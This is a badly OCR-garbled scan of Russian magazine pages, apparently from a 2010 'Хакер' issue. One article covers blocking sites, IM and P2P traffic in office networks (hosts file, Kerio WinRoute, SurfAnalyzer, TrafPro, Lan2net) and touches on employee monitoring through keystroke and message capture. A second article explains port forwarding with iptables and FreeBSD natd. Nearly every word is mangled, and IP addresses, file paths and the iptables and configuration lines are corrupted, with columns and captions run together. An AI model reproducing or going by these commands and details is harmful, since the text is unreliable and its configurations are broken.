уда./1енном хосте. причем со3данньте в пе{зБ профили мол<но экспорти-
ровать в файльт с рас|::ирением '!.тш[ш, а затем применить на все системь1
локальной сети. Ёуяно признать, нто настройкуа0й!гетта11 нельзя
назвать прозрачной. Более того, блокировкупо 1Рщ,з:пе подкреггтять
запретом по 0&!,, однако такойвозмоя(ности Разра6отнитси не предус-
мотрели. хотя здесь вспоминаем, ято 10 позволяетзадать список сайтов,
котоРь!едоля{ньг блокироваться: достаточно открь:ть 6раузер, щелкнуть
в строке состояния в поле Безопасность' в окне настроеквьлбрать.Фща_
ниченнь|е у3ль1)) и нФкать кнопку "}зльг', чтобьт добавгггь адреса.
Ёще один вариант блокировки сайтов-использование слРкбьл )].,15.
3то мо>кетбьтть каксервер влокальной сети, которьтй будет вьцавать
неправильньте 1Р на опрчеленньте сайтьл, так и файл ЁФ515 (обьттноле-
я(ит по адресу с: \!!|п0отшз\5узтегп32\6г1уегз\егс\[:оз1з) на клиентском
компьтотере. ( последним вариантом все пРосто:
727 .0.о.1 о6по]<1аэзп|}<!. гц
121.о.о.1 м-о6по}<1аззп1]<!.гт:
1о есть при запросе (одноклассников" браузер пощчит адреслока./1ь-
ной системь:, и, по сути, запросзаблотструется.
квп!0ш!шп0цтБ
Б современньтх сетяхдля организации совместногодосцдта в интеРнет
и защитьт вщтренней сетичасто используется кег|о \{!пРошсе, умею-
щий блокироватьллобой трафик' опредепеннь!й админом. 8 состав
прод}кта вкл!очен цельгй ряд компонентов: файервол с функциями \А!
прокси и \?}!-сеРвер' антивирусньтй модуль, распРеделение нагрузки,
блокировка Р2Р_трафика и многое дрщое. ||одро6но о (\:!Ру,ке рас-
ска3ь!ва]1ось в статье.йаРтш_6росок в больпт1то сеть,, ощ:бликованной
в сентябрьском номере ] [ за 2007 год, поэтому остановимФ1ли1пь на
функциях 6локировки досц/па к сайтам.
Ёачнем с самого простого-фттльтрации содер)кимого. 3та фина на-
страивается пРи помощи пРость1х прави-/| во в!сладке "1(онфиграция _>
Фтальтрация содеР)кимого,. в кш!' в!о||очено несколько компонентов'
при помощи которь|х 3адаютФ| политики' позвол'|:ощие блокировать
досц/п к опредепенньтм 1_)&[ по протоколам Ё11Р и Р1Р на основании
п:аблона. |]]аблон адРеса мо}кно задать прямо в правиле фшьтра_ .
ции' ноэтонеудобно. |!риналинии нескольких!цаблонов, ккоторьтм
необходимо применить одно действие, пРидетФ! до6ав-тлять несколько
прави./|, что еще 6олее услоэктляет процесс.9нить:в₠ш' что админда)ке
4ля небольп:ой сети формирует боль!пое количество прави./|, придется
потом долго искать що1{ное' если понадо6ится тто-то изменить. []оэто-
мупереходим в (,Фпределен:ая _> [руппь:0Р| ", где содерэкатся тпаблоньт
0Р[, разбитьте на группь:. |1о умолчани|о 3десь четь!ре гРуппь|' назна-
чение котоРь1х пон'|тно из названия -А4з,/Баппегз, $еагс[л еп31пез'
Аштогпаг1с 0р0агез и\:!!п4оттз 0р6а1е. {обавим сво:о гр1тлгу. Ба_ткимаем
кнопку(до6авить>, появляется окно, в котором заполняем на3вание
(например, 5ос1а1 пегттог[), вьтбираем тип (0Р1, ттли [руппа {.)Р[) и в
поле адреса впись1ваем:
о6по}с1авзп!]<] . гц7 *
Бносим еще одно прав!,!]то в эцгруппу, тто6ьт перекРь[ть все варианть|
адреса:
* . оопок1а55п|]<| . гш7 *
1,1 добавляем все адРеса соци[у!ьньтх сетей идругих ресурсов, к котоРь!м
нРкно 3акрь|тьдосцлп. Ёе забьтваем про сайты, где гублитсротся зерка-
) 118
х^к₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
--
-
] ,а л'" "од*'-д44чцц69'' .Б(онтакте> и подо6нь|х (а_ля ао5г|1ое5{. гш).
|[ри необходимости блокировать загрузцчере3 Ё11Р определенньгх
типов файлов создаемд./1я них группьт и тпаблоньт.
] во вкладке "гр}ттпь! адресов> задаем айпилпник и-,1и диапазон адРесов'
которьлй затем будем использовать в правилах фт'|ьтрации в качестве
дополнительного параметра, определятощего блокировц ресрса.
теперь переходим в подщпткт"(онфиграция _> Фи]1ьтраци'1 содеРжи-
мого _> |]олитика Ё11Р"' 3десьуя{е есть несколько подготовленнь1х
политик' построеннь!х на основе групп 1-)Р[, о которь1х говоР]'1ось
вьлп.те. 11осле установки активировань! только три прав|'т-г1а, разре1паю-
щие обновлениеидосц/п кпоисковьтм роботам'
9тобьт за6локировать баннерьт и встт]1ь1ва}ощие окна, ставим флая<ок
напротив.Регпоме а6уег1|зегпеп!апаьаппег5,и создаем новоеправило.
вводим его название, указь!ваем г{етнь1е записи,для которьтх оно будет
активно. по}т,!олчани!о вэтом списке прописань| все г{етки, но, исполь'
зуя настройки пРави]|, можнолегко заблокироватьдоступ к некоторь1м
гр1лппам сайтов только д./гт определеннь1х пользователей. [!ереходим к
полю.й если [-1Р[ удовлетворяет критерито'. 3десь пРедлагается четь1ре
варианта действий: утсазать тпаблон, вьтбрать гр1'ппу 0Р[, категорито
\{еБ Б11гег (о нейнрь нихсе), и за6локироватьлюбой узел, если к нему
обраттались по |Р (нто, кстати, то:ке 6ьтваетполезно). Ёасинтересует
созданна'| нами ранее гр1ппа 3ос!а1 пепуог}; вьтбиРаем ее иустанавли_
ваем действие.3апретить досцтт к веб-узлу". ч166ьт отслеживать все
попь1тки подключени'1 кузлам' опреде]1еннь1м в этом правиле, ставим
торого будет активно прав1 то' и диапазон 1Р (созданньлй в "[руппьт адре-
сов'), д:я которого будетдействовать правило. в итоге 1(\:{Б позволяет
очень тонко настроить блокировку практически для лкэ6ьтху словий. А
во вкладке "11рав}'|а содер)*(имого, }'казь!ваем параметрь1 сканирова_
ния веб-контента (проверкаАс{1тех, сценарии нт1м1[и.1ата5сг!рс).
3десь хототось 6ьл обратить внимание на флажок'3апРетить ве6-стра-
ниць1, содер)кащие 3апРещеннь!е слова в коде Ё1\4]-". [|о умолчанито он
снят, поэтотщобязательно активируем его. ₠писок самих слов задается
в отдельнойвкладке"3апрещенньте слова'. (а:кдомусловусоответст-
л{:-]г-_
!
вует вес, внизустраниць| указьгвается цифра веса (по рдолчанию 70),
пРи дости]кении которой страница блокируется. |'1нтерфейс програм_
мьт позволяет при нео6ходимости добавить в списокновь:е слова. Ёо
нтобьтданная функция работала в полной мере, следует со3дать новое
правгтло с:паблоном 1_]Р[ (''). 1аким образом, буд}т проверяться все
ве6-страницьг, к которьлм обращаетФ! пользователь.
но возможности 1(\:!Р этим не огРаничиваются. Фтдельнолицензиру-
ется пподуль !(ег1о \л!еБ Р11тег, использующий категории веб-сайтов !55
Фгап3е \,!еБ!11тег. Администратор бщвально дв}т4я щелчками мь]|пки
определяетдост1'п к одной из 58 категорий ве6-сайтов, поддержи-
ваемьтхэтим модулем. |!ри посещении пользователем веб-сайта он
провеРяется по постоянно о6нов,тяемой базе, где находится более 20
миллионовсайтов, и, в зависимости от результата, ра3ре1пается 1'|и
блокируетсядосцп. Админлишгь контРолируетэтотпРоцесс по отче-
там, все остальное происходит автоматически. Ёсли блокировка по
некотоРь1м пРичинам не}келательна, !(ег1о !!еБ Б|1|ег мо:кно использо-
вать для сбора статистики предпочтений пользователей.
[!олттгики Р]Р настраива]отся в одноименной вкладке. [1осле установки
1(\т!Р здесь 1оке прописань| четь1ре прави]1а' активация которь1хпозво-
лит заблокировать шр1оа0 и заканку видеофайлов.,{алее, используя
их кактпа6лон, админлегко создаетновь!е пРав1'та под определеннь!е
растпиренияфайлов. Б правттлахука3ь1ва1отся: пользователь' 1Р-адрес
сервера, направление загру3ки, ш а6 лон файла или гтР-команда.
ксожалению, простого ггупа обрубить аськуи подо6ньте 11!1-сервисьт
в 1(!{! нет.1(онечно' адреса вроде 1о8!;:.|сч.согп, |0.гагпБ[ег.гш можно
блокировать в правилах{_1Р!, нолг]1пим вь1ходом 6удет бан айпи:пни-
ков |\:1-серверов. ||одро6но о том, какнаг{иться определять нркньте
|Р и 6анить их, смотри в статье (,₠ерпом по аськам", опу6ликованной в
августовском номере ] [ за 2009 год.
фя удобства в "гр}т1пь! адРесов> создаем отдельную гр}тпу' назовем
ее, кпримеру, (1п5|ап1ме55еп8ег5), где пропись|ваем все известнь|е
диапазоньг 1Р:
- Р.ап]э1ег 1₠9: 81 .79.64.о - 81.19 .66.255;
|с9_ттз.гапБ1ег.гш: 81.19.69.0 81.19.70.255;
х^квР 08 /1з9/ 10
> 119
BemeP34 for Journal-plaza.net
!т----------=
фФш г----
ыф' БФ--_---
ь04ш]0
умФ' ]фй_--=
!йг-
ь:!'|1шш
,-.-,,.1
.ь |гБ;] м |
- 1₠|: 64.12.0. о _ 64 .\2 .255.255, 205.188.0.0
205.188 .255.255
й такдалее. 1еперь переходим в "политика трафика' и создаем новое
пРавило' наделяем его пон'!тнь|м именем (|с0 )епу), в поле (на3наче_
ние> идем в <добавить -> [руппа ]Р_адресов,, в списке находим групщ/
(]пз!ап|ме55еп8ег5,. двакдь| щелкаем в поле (действие> и устанавли-
ваем переключатель в <отка3ать>>14ли<<удалить''. 8 таком виде правило
будет касаться подкл|очений ко всем портам. в принципе' дшьше
мо}кно не заморачиваться. последним обь1чно стоит 6локир1тощее все
подкл|очения прави'!о. поэтомуесли в политиках фильтРации настрое-
нодействительно то' что щ'кно, порть|, используемь]е сеРвисами,
моя(но рке отдельно не 6анить. Ёапомн|о, что ма1|Агент работаетпо
лортам 2041',2|42; 1а[тоо! 1\4еззеп3ег- 5000-5001, 5050; й5}'|- 1863;
.]аББег,;6га1[- 5222, 5223; !Р( - о6ьтчно по 6667 -6669.
1еперь осталось огР:1ничить пиринговь1й щафик. 8се щэ*о*ьте насщой-
ки прои3водятся во вкладке .дополнительнь!е параметрь| - Фи.'1ьщ
Р2Р". Аостаточно установить перекпючатель в.3аблокировать трафик
и Разре|шить только не-Р2Р подкл}очения>, и о проблеме можно за6ьтть.
1{ак вариан1 1{ерио позво.ттяетзаблокиРовать весь трафик кпиента при
попь|тке подкпючения по Р2Р с указанием времени блотстровтст (по 1тлол-
чанию 120 мин}т). поль3ователю пРи этом отпРав'']'1ется редом]1ение по
электронной понте, вкотором объяс!#|ется при!1ина,.гтобьл он не буянип и
не звон}1'1 адми}ту[пи начальству. вообще говоря, пара-тройка блототро_
(етевой оо7
всть два способа навести поРядок в локальной сети : блокц-
Ровать и контРолиРовать. каяць:й иптеет свои достоинства
и недостатк[{. в !{деа.'[е щг)кно исполь3овать оба варианта,
что6ьп истоппочить с.'{!д{аи' котда !ггФто пройдет незамечен-
нь1м. одни1и и3 яРких представителей контРолеРов являетея
Ре|шепие |,апА9еп{ (1апа8еп[. гц). Атептьт, установленнь[е на
!с'|иентских систе1шах' позволяк)т отсле'(ивать, че1и зани_
1иается поль3ователь в рабояее время. 1![о2кно у3нать, какие
пРотРа1и1}1ь| и сеРвисъ[ оп затц/скает' какпе сайтьт посещает,
какие вне!шпие устройства под|(л1очает. так)ке атенть[ умек)т
делать снимк|{ экрана' пеРехвать|вать ная(атия 1с'|ави1ш' сФ
о6щения !₠[ и е.ппа!1, дощп:енть[' отправленнь[е на печать'
файльт, скопированнь:е на фле(шщ|. пРи наРу!пении уста-
новленнь(х политцк админисц'атор по'цд! ает уведо1и'1епие.
[1рограмтиа оснаш{ена систе:шой отнетов, повволятошдей 6ь:е-
ц'о составить ц>афпк активности полъ3ователей за щппсвьлй
перподвре1иени.
вок, Распечатка нарупений на стол рщоводител|о - идисциттлина6удет
подтянута. 9тобь1 опрч]елить рабоц по Р2Р, используетФ| список портов,
которьгй можно просмощетъ и ощч1актироватъ в мен}о' пояыш|ощемся
при н:|)катии кноп!с4 (дополн!,шельно". 3десьэке задается чиспо подк]]ю-
чений и список сщокб, которьле 6удщ опреде_..ш1тьФ' как не-Р2Р. (амьхй
простой вариант: насщаиваем блокировцопредепенньгх портов, тем бо-
лее в политик:ц )оке есть заготовгст для е)оп1<еу, )с + + , спц(е11а, ка2аа и
дР. кстати, укейо есть еще одна возмо:кность блокировки-пРописать в
насройках )}15 ("(онфигуРация ) )!.,15") неправттльное соответствие 1Р-
адреса' о чем говор}.тлось вь11пе. просто пи1пем адрес вРоде: укоп[ ак| е .
[| 721 .0 . 0 . 1. и пользователи не смоцт подю.!}очиться куд{!ленному
сеРверу.
АнАлизАтоР сЁРФингА 5цпгАшА!-у2Бп
5шг[&а1уаег (зшг[апа1уаег. гш) - специализированное ре1пение,
позволяющее блокировать доступ к ресурсам' которь1е отвлекают
от работь: или несут потенциальну}о опасность. |1рограмма, являясь
посредником между интернетом и поль3ователем, пропускает чере3
себя весь трафик, поэтому с ее помощь|о очень просто контРолиро_
вать заканку файлов с определеннь!ми Рас|]1ир ениями (.ехе, 'сотп,
.т|р ит.д.),влоэкения в электРонной понте, фильтровать 1й-сообще-
ния, блокировать некоторь|е типьх сайтов. 8ся информация о посе-
щеннь|х ресуРсах сохраняется, и, просмотревлоги, мь|легко у3наем,
чем занимался пользователь в рабонее время. 8 слутае появления.
вне!птатнь|х ситу аций администРатор оповещается посРедством
е-тпа[1 или 1(!. 5шгйпа1регсостоити3тРех компонентов, котоРь|е,
как пРав!1/]о' разворачива|отся на нескольких системах:
. сервер (5егуег) обеспечивает основной функционал, со_
держит веб_мод/ль (доступ в интернет, сбор статистики,
контроль загрузки файлов, работа в 1м), почтовый сервер
(контроль исходяцих и входящих писем) , суБд г|геь|гс для
хранения собранньтх даннь]х; все это связывается лри помо_
щи модуля оповещения и настройки;
. рабонее место специалиста безопасности (у1еш) отслежи
вает нарушения лолитики безопасности и доступ к архивам
е-па|1, ]с0 и посещенньтх веб сайтов;
. рабочее место администратора системь] (А6п|п) позволяет
настроить лолитики безопасности, доступ пользователей и
систе1д/ контроля .
фля непосредственной организациидосц/папользователейв ин-
теРнет и г]ета трафика в паре с 5шг[Апа1уаегдолкен исполь3оваться
прокси_сервеР стороннегоразработника ({_)зег6а|е,ш!пса!еит.п.) в
настройках прокси-сервера оставл'!ется ли1пь одна г{етн:1'1 запись -
.ф
о ъм|фв
Ёастрой ка 6ра ндмауэра \А|! п6ошз
₠оздаем группу шп]- в (ег!о \г91пРоц1е
> 120
хАквР 08 /1 з97 1 0
BemeP34 for Journal-plaza.net
о!@|Ф] ! ц!с]!0, !0!
... .|м|н!@ц|оф6|@| м. | вц |
м у..@.н.и|пй.|Ф!
(онтрол ь трафика в 5шг{Апа[узег
содер)кащие запрещенньте {-}Р[- т-тли слова, помечаются опРеделеннь1м
образом в консоли9|етлл. }(онсоль специалиста безопасности' по сути,
яв,ттетФ{ средством полг{ения ра3личного рода отчетов по пользо-
вателям' собьттиям идатам. Аимея на Рукахтакую статистиц/, очень
просто наказать сотрудника рублем :).
контРолвР тРАФикА тпАггРпо
1га[Рго (тга[[рго.гш) - слециа;тизированное и очень пон'{тное в
настройках ретпение для контРол'1 трафика и управления досц/пом.
[!рограмма обеспечивает контроль и утет трафика, телефоннь:х звон-
ков (поддерясиваютсяА1( Рапазоп|с и 16), защиц сервера и систем,
блокировку портов, 1х1А! порт_фоРвардинц },т\4еет работать в связке
с прокси-сервером $чш|0. 8озможна авторизация пользователя -!Р,
\4А(, логин и пароль, !)АР/А) и[Р1х1..{оступно боль|пое количество
отчетов и мониторинг соединений. Ёаписан1га[Рго с использовани-
ем 6иблиотек!|, для хранени'1 данньтх задействуется 1!1у5@[, графики
стРоятся при помощи 3пшр1от. (ерверн.1я частьустанавливается под
[|пшх, клиентьт 1.тгравления - под \,!!п0отмв и [|пцх, есть и ве6-тслиент.
[!редлагается несколько Ре.шизаций, в том ниследост1лпна и Ргее-вер-
сия, обладающая всеми основнь1ми функциями. ₠о сравнительной
та6лицей возмо>кностей моэкно познакомиться на офсайте' поэтому
подробно останавливаться здесь не буАем.9становка серверной насти
в [|пцх заключается в разверть1вании [АмР-сеРвера (см. статьто "Бол-
хпе6наялампа админа' в ] [ 12.2008) и установке уттравлятощейнасти.
9тобьт блокироватьдосц/п копредепенной группе сайтов, вьт6ираем
в консоли (клиенть1 ) гр}т1пь1 ) Редактирование [руппьт ) (писок
доменов, и добав./ш|ем домень1, которьле нуэкно блокировать дл'{ вь!-
бранной гр1ппьл. Аналогично }т{а3ь1ваем список разре1пеннь!х поРтов,
все ост₠!пьнь!е подключени'1для пользователей этой группьт булщ
6локированьт. [ак}ке у{ить!в!1'|, что мь| имеемдело с !-1пох, при необхо-
димости мо}кно легко самостоятельно до6авить н}окнь1е пРави.,1а при
помощи |ртаБ1ез (тга[Рго использует свой фай настроек !ртаБ1ез -
/ е[с/ \[а[фто / |та[фго_гш1е.с[3).
[Аш2швт г|пЁшА|-|-
|,ап2пе{ шАт р|гетдга11 (|ап2пет.гш) - программньхй меэксетевой
экран, пРедназнаненньтй для организации безопасного доступа в
интернет с функциями 3ащить| сети, фильтрации сайтов, контроля
и рета трафика. [го разработкой занимается российская компания
Ёетсиб, имеюща'!, к слови статус \4|сгозо[т 5гпа11 8шз!пезз $рес|а1|зс.
8озмо>кностей упродукта 1-ап2пе| очень много, нас]ке интеРесует
функция блокировки доступа к сайтам, которая реализуется 3а счет
использования механизма фильтрации сайтов по шк[ и |Р. запретить
доступ по 1Р моя<но при создании правтала [|гетлла11илилравиладля
группьт. 8ьтбираем протокол (порт) и указьтваем 1Р-адРес. хотя этот
метод не на3оветпь удобньтм, так как задать список |Р-адресов нельзя
_ только диапазон. поэтому ка)кдьтй адрес придется пРопись1вать
отдельньтм правилом. !ругой вариант- механизм фильтрации 0Р1-,
досц/п к которому мь! получаем в свойствах гр1'ппьл пользователей.
в списках адресов поддер)кивается символ '"', ознанатощий лтобуто
подстроку' что весьма },прощает их наполнение. 1аким:ке образом
6локирутотся файльт с определеннь!м рас1пирением: просто до6авля-
ем правило- "".гпр3, ".ат|, ,.гпр8и т.д. т
Р-_-------=
!ййб--
м. |ш'йй!
ь-е !
!*^.ф!
мш |
й!ж |
пфм!
м.** !
@з
м| ь|
м!ш-]м!
н!.'в" | м |
оо
о6
по
во
во
оо
оо
по
5шг[Апа1уаег, которая 6уАет иметь полньте права. все остальнь1е поль-
зователи будщ подкл1очаться к интернец чере3 сервер 5шг[Апа|уаег.
фя установки 5шг[Апа1рег потребуется компьютер, работатощий под
1гправлением\т!|п2\</\Р /2|<3.!у\иним.|льнь|е системнь:е требов а11ияза-
явлень1 следгощие: сРш 1.7ггц,256\4б РА\4 и 200&16Ё)9.}становка
компонентов стандартна; все необходимое, внастности Р1геБ|г0, уоке
идет в ком11лекте. []о окончанииустановки сеРвера запустится неболь-
1пое окно управления 5егу!се1!!апа8ег. далее вь!зь|ваем окно консоли
5шг[Апа[у:ег А0гп|п, регистрируемся как А0гп1п с щ/сть1м паролем.
всли серверустановлен надРгой системе, указьлваем его |Р. основное
окно админки ра3делено на четь1ре вкладки. на вкладке "Фсновньле'
}казь1ваютсянастройки прокси-сервера, порт ('/{'еБ+|(@), на котором
$шг[Апа1уаег будет)кдать клиентские подкл|очения (по утлолнанито
з128), порть| РоР3 и 51\41Р, настота ан:1лизатекстаи пронее. ₠обствен_
но, в этой вкладке необходимоли|пь настроить параметрьтдост}па к
прокси_сервеРу. (оответственно компьютерь[ пользователей, ве6-бра-
узерь|' пРограммьтдля работьт с понтой и т.д. до.тт:кньт 6ьлть перенастро-
еньт на !Р_адрес сервера $шг[Апа1уаег.
8кладка "(онтроль) позвол'тетдобавитьутетньтеданнь1е админов и
распределить мехцу ними обязанности по настройке. Ф6слуясива_
емь1е почтовь1е ящики и е-тпа11-серверь1' с которь1ми 6уАет работать
5шт[Апа1уаец пропись1ваются во вкладке ||онта. 3десь )!(е устанавлива-
ется соответствие улетной записи почть| опРеделенному компь}отеру,
действия для влоткений и подозрительного содер)кимого.
учетнь1е записи пользоватепей, которьте 6улщ вь1ходить в интернет, со-
здаются во вкладке "'{'[еБ + 1(0 + \4а1[А3епг'. Б 5шг[Апа1уаетподдеря<и-
ва1отФ1типь| автори3ации (только по 1Р",.только по \4А₠"и "1Р*\4А₠".
[!рограмма сканиРуетдоступнь!е сети и вь1водит список найденньгх
компьтотеров, вклтоная имя, 1Р- и 1\4А(-адреса. |1ос_де того, каку{етна'1
запись добавлена, в правой вкладке Редактируотся паРаметРь| досц/па.
возмо)кнь|два подхода: разре1|!ить только вьтбранное и.|ти запретить вьг
бранное. 1ак, типьт файлов отмечаются во вкладке "\41]т4Ё-настройки'.
Фтбираем ътркное и укшь|ваемдействие при помощи вь!пада}ощего
списка "[1равгтло". прав|]ла хорогпо прокомментировань!' поэтому
соРиентиРоватьсявнихпросто. |!ринеобходимостилегкодобавить
новьле &1]1!1Б-типь!/рас1пирения дл'1 своих рулесетов. все растпирения,
неизвестньте 5шг[Апа1у:ец автоматически попадают в одноименн}то
категорию' 1ак:ке мо)кно опредепить список стоп-с-/[ов и запрещеннь1х
0Р[, которь:е будр контролиРоваться 5шг[Апа1у:ег. Бсе настройки
вь1пол}|яютФ! в одной втсладке, по одной в строке: просто пи|пем строку'
совпадение с которой будет проверяться. Ёапример, для "Фдноклас-
сников"-о6по[]аззп!}|. 8оти весь п'таблон' никакихподстановокне
предусмотрено. 1атоке нет возмо:кности блокировок по 1Р
$шг[Апа1уаег позвол'тет вь1полнять пРоверку в трафике определенньгх
слов, которь1е 3ада}отся во вкладке "1с0 + ма11А3еп|". 8се соо6щения,
1аг:А8е п{ [ч} е |тшо гкш'|1се г
когда номер сдавался в печать' стало и3вестно' что в]иес-
то $шг₠Апа1уаег будет продвигаться програмту|а сдР)ди1и
итиенети _ [-апА8епс шеЁи'огкг!1сег, которуло наделят те1!|и
)ке во31шо)кностя!ии: перехват соо6ш4ений |₠@, 1!|51т,!, гпа!1.гш
агентов; пеРехват сооб:цений электронной понть:; контроль
3агР)пкае1!{ь1х файлов. [(роме этого добавится функция пере-
хвата писепт' отправляемь[хнерез веб-интерфейс. ||ринцип
наетройки и уетановки останется неизп1еннь|м.
хАк₠Р 08 /1з9/ 10
> 121
BemeP34 for Journal-plaza.net
] ] Ёвгений зо6вин ,1п!а5упаск.г0
|
пР0БРАсь!вАЁм п0Рть! в 0кнАх' никсАх и кискАх
! этой технологии есть мнохество названий - это и трансля ция порт-
адреса, и п роброс п орто в' и пере на п ра влен ие, и буржуйские порт-фор-
варди нг|порт-мапп инг, и сокращеннь:е 0\Ат/РАт' |о как бь: она ни
назь!валась, о ее полезности спорить не приходится |1роброс портов -
просто спасательнь!й кругдля тех, кто хочет показать свой сервер из-за
вь[со кой и крепкой стень! под названием \А1.
Ёедостаток сетевь1х адресов стандарта [Рт4 оставил свой отпечаток на
топологии совРеменнь:х сетей. Бель(е адРеса слитпком дороги, нтобьт
наде-'|'1ть ими всех, кого поп{!'1о' поэтощ/ прость1м смертнь!м щихо-
дится 1отиться в неболь:птд< частнь(х подсетях, а в интеРнет вь|ходить
через один общий сервер, на котором настроен шАт. Благодарятакой
схеме поль3ователи целой подсети моц/тиспользовать один внеп.тний
]Р-адрес, а общая инфраструктура интернета пРодо]|]кает}1ить, дже
несмотряна очевидну|о нехватц1Р_адресов. но что если речь идетне о
}о|иентах провайдеРа, сидлщихза }:1А1'ом, а олокальной сети не6оль-
п:ой компании, многие ма1пинь1 которой до.гл:кньт игратъ Роль не только
клиентов, но и серверов. Ёапример, на одной изма|пин может находить_
ся веб-сервер, адрщаядол:кнаобслРкивать 5мтР- и гтР_клиентов, но
вьце.'г|ть ка){цой иэ них 6ельтй1Р-адрес - как_то уя{ сли|пком расточи-
тельно. 3от здесь нам на помощь и приходит )1х[А1| 1и, по-просто1\[у-
про6роспортов. ( помощьтоэтой технологии можно сделать так, нтобьт
входящий на птлтоз трафик перенаправ]1ялся к одной из внутренних
ма|пин сети на основе портаназначения. другими словами, проброс
портов позво'| |ет вь|ставить во вне:пний мир сервись1лока'1ьнь!хресуР-
сов и создать |!июзию того' что онинаходятся на 1]]'1ю3е.
пЁРЁд тБм. кАк нАчАть
3та статья рассказь!вает о настройке про6роса портов в самь1х ра3-
нь1х операционнь|х системах' начиная с \,{1п4оттз и заканнивая Ф₠,
установленнь1ми на сетевом оборуАовании. 8 6оль1!]инстве сл)д]аев
для реали3 ации про6роса портов использ),ются специальнь|е прави-
ла 6рандмауэра, и здесь я дол)кен сделать пеРвое предостеРежение.
{ело в том, ято любой 6рандмауэР выполняет трансляци|о сетевь!х
адресов до их фильтРации' поэтому описаннь1е в статье правила
должнь| находиться в начале. второе: для успе1пного прохождения
оттранслиРованнь!х пакетов должнь: бь:ть добавлень( правила, раз-
Ре1па}ощие входящие подключения на целевой порт 1плюза' а такя{е
правила' разре:ша:ощие обмен даннь!ми ме)кду внрренней целевой
матшиной и т:глтозом.
ш|шоош5
Ёаянем, какговорится, с азов. |!роще всего пробРос портов настРоить
в операционнь1х системах семейства \,{!п0о'тшз. 3десь все этоделается в
"₠войствах\А1":
1. 3аходим в <АдминистРирование - > 1\4артпрщизация,, вь1бираем
локальттую ма|пи}у, далее (]Р_маршрщизация -> !т[А[".
2. 8клточаем [А1 длялок.!./1ьного интерфейса.
3 . 11ереходим к вкладке "(лркбьт и порть1,,, вь!бираем интересу|ощую
нас оцэк6у или до6ав'гтяем св ою.
4. 8 отщьтвтшемся олсте вьтбираем протокол, входящий порт (тот, кото_
рьтй будет виден извне), адрес ма1пинь! вн}тренней сети и ее порт.
[|шшх
8 ],!пшх все наллного сло)кнее' здесь нео6ходимо оперировать прав||''1ами
!ргаб1ез/пес[11гец без знания основ которого просто не обойтись. фля
ос)пцеств./1ент!'! проброса портов прч{'усмотрена цель )}1А! которую
нео6ходимо использоватъ в прав!,|лахцепочки Ркв&Ф{-]1]}16. Б самом
простейтпем слу*ае прав:тло будет вь1глядеть спедулощим образом:
|р[аб1ез _! пас -А РР.вРот-]ттшс -р [ср -_аз[ $сАтв \
_-орог[ $РоРт -] ошАт __!о се5||па!'оп $3ЁР9ЁР:$РФР1
|де $6А[Б-это адреспллтоза, $Р@Р1-пробрасьтваемьтй порт, а связка
$$Ё&у8к: $РФР1 - это адрес и поРт вщтреннего сервера. Бстественно,
ятобьт прав:т.лло сработало,долясен 6ьтть вголточен форвардинг (хотя на
птлтозе он влтобом с-глутае влол:онен):
* ес}то 1 > /ртос/ 3у5 /пе[7|рт4,:!р_|огшаг0
||роброс портов возмо)кен и сдругой ма:пиньт:
$]РтАв|в5 _с па|' -А Рввко1]т1шс _р [ср __о5[ $]Р \
__орогс $РоРт _] ошАт __[о_се5!1па[!оп $5ЁР!БР: $РФРт
$]РтАв!в5 _с па[ _] Ро5тРо0ттшс _р сср _-с5| $5вкуЁв \
__срог[ $Рокт _] 5шАт __|о $тР
3товполнелегально' аиногдаипросто нео6ходимо.
Различнь!е преконфигрированньте !ртаБ1ез-скрипть!' такие как,
напРимер, знакомьтй пользовате;дям )еБ!ап, агпо-1ргаБ1ез-[1гетца11,
та1о*(е мо)кно использовать для более простой настройки про6роса
портов. Ёапример' если ть1хочетпьпро6росить порт 80 на мап:ипу
192.168.0.100, дпя этого достаточнодобавить строку шАт_тсР_
> 122
хАквР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
РФР!!'А&!=''80> 192.163.0.100'' в фа{1л / е\с/ а(по-1ртаБ1ез_[1гетма11/
[!ге:ма11.соп[и перезагрузить бра}цмауэр :
$ 511ао ,/е|с/ |п|с.с/агпо-1ргаь1е5 :]ге!]а] 1 ге5[аг|
гпЁЁв50
Ргеев5) отличается тем, что имеетдве независимь1е реализации меха-
низма |.,1А? (а значиц и технологии проброса портов). [1ервая носитиптя
па!а и, как мож(нодогадаться из названия, представ.гтяет собойдемон
)ровн'1 пользователя, которьгй принимает <сь.рь1е> пакеть1' вь!пол}#1ет
необходимьтепреобразования адресови отдаетихобратноядру. Бторуто
пРин'1то назь!вать &егпе1 па|, то есть механизм }'{А! реализованньтй в
ядре РгееБ5). Фн позво]'| 1ет вь|полнять прео6ра3ование адресов и про-
брос портов, исп ользуя правила брандмауэра !рй.
!сно, нто вторая реализация прои3водительнее иудобнее в исполь-
зовании, и поэтомупредпочтительнее. Фднако [егпе] па!появился
во Ргее8$) нетакдавно, поэтому мь1 рассмотрим оба подхода на тот
слутай, если втвоем расп оря]кении оказа]1ась ма!пина' использу|оща'т
устарев!п}то версито этой операционной системьт. }4так, метод номер
один: па!а, а1уег! и все-все-все. фя активации \А1 и проброса портов с
помощьто дештона па|а необходимо проде_дать следу|ощие 1паги :
1. включить па|а и 1рЁш в /егс7гс.соп[:
# у! /е1с/гс.соп{
+ вк]1ючаем ]]а[о
па[о епаь1е- '' ув5 ''
,, ] .|, '1|-'!:, |,т:.'|; ]:]]':|]|,1':':] ;::.
!]а[о_]]1[е| гасе= '' г10 "
па!а_г ] а95='' -' /е|с1'па[с. соп|''
[ 1 геша1 1_епаБ1е= " уЁ5 ''
{ 1гетта 11_|уре= " ,/ег-с / |р|ш. соп{ ''
2. !{астроить\А1 и проброс портов в,/етс,/па16.соп[:
# у| /е1с/па{Ё.соп{
5апе_рог:5 уе5
115е_5оске[з _1_е5
:.. :
.: '] :
гео1гесс рог. .сР. -9:.16в.0.100:80 30
3.9тобьт все пакеть!, проходящие яерез внетпний интерфейс (г11) п:люза,
перенапРавля]1ись в па!а и обрабать1в;1лись и1!1' до6авим правило 6|тег|
в /есс/трРсе.соп[:
|р!г: а66 с|уег[ па|а:р::оп апу го апу |п т'|а г11
та}0ке разре1пим общение всех с вн}тренним сервером:
1р{тт а}1отт [ср ггоп1 а!у [0 192.16в. о.100 \
с1Б| рог| 80 ]п у|а г10 5е.!р
далее можно добавить правтала фттльтрации.
метод номер два: ядеРнь1й шАт. Активация 1х[А1 с помощь1о реали-
зации вн}три ядра не тре6ует ничего' кроме правильной настРойки
6рандмауэра с помощь!о двух-трех правил. Ёе буду распись1вать все
